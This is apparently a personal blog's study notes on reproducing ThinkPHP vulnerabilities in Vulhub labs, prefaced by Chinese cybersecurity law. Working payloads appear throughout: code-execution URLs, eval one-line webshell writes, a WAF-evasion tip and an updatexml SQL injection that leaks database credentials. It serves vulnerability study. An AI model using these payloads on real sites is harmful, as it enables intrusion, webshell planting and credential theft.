Thinkphp
简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持 windows/unⅸx/ Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、 PgSQL、 Sqlite多种数据库以及PDO扩展, ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
前置申明
本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧
本博客的所有Security 大类下的文章只能作为
如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)
中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。
参考资料
ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行
Vulhub漏洞系列:ThinkPHP5 5.0.x5.1.x 远程代码执行漏洞
ThinkPHP5 5.0.23 Request类任意方法并构造利用链源码参考
ThinkPHP 2.x
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); |
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
任意代码执行漏洞
启动环境
1 | # 进入vulhub |
获取thinkphp版本
故意让其报错,这样会返回系统的版本信息
1 | http://www.security.ada:8080/index.php?a=1 |
获取phpinfo信息
1 | #直接访问 http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D 即可执行 phpinfo() |
getshell
1 | # http://www.security.ada:8080/index.php?s=/index/index/name/${@print(eval($_POST[1]))}进行编码得到下面语句 |
这里蚁剑连接的时候其实就是在连接的时候执行了一句话木马,因此连接的地址要用一句话木马的内容
ThinkPHP5 5.0.22/5.1.29
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
远程代码执行漏洞
启动环境
运行ThinkPHP 5.0.20版本,环境启动后,访问http://your-ip:8080
即可看到ThinkPHP默认启动页面。
1 | # 进入vulhub |
获取thinkphp版本
通过拼接参数s=任意一个不存在的值,故意让其报错,这样会返回系统的版本信息
1 | http://www.security.ada:8080/?s=xxx |
获取phpinfo信息
1 | # payload |
远程执行shell
将 phpinfo&vars[1][]=-1
换为 shell_exec&vars[1][]=whoami
1 | # whoami |
写入shell
写入phpinfo
1 | #写入 shell.php phpinfo |
写入一句话木马 eval()
写入 eval 函数木马() 如果通过 phpinfo 中的 disable_functions
关键字查看 eval 函数被屏蔽了的话,或者 waf 拦截 需要换成 assert 函数进行fuzz
1 | # 写入一句话木马 <?php @eval($_POST['hacker']); ?> 进行编码 |
ThinkPHP5 5.0.23
远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
启动环境
1 | # 进入vulhub |
获取thinkphp版本
通过拼接参数s=任意一个不存在的值,故意让其报错,这样会返回系统的版本信息
1 | http://www.security.ada:8080/?s=xxx |
获取phpinfo信息
TODO
远程执行shell
1 | # url |
ThinkPHP5 SQL
- ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
- 影响版本:ThinkPHP < 5.1.23
- 漏洞原理:传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致sαL异常报错。然而 thinkphp5默认开启 debug模式,在漏洞环境下构造错误的SαL语法会泄漏数据库账户和密码。
- ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 Thinkphp5X设计缺陷导致泄漏数据库账户密码
复现
启动环境
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2
,即可看到用户名被显示了出来,说明环境运行成功。
1 | # 进入vulhub |
1 | http://www.security.ada/index.php?ids[]=1&ids[]=2 |
sql注入 信息泄露
当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:这又属于一个敏感信息泄露漏洞。
1 | http://www.security.ada/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 |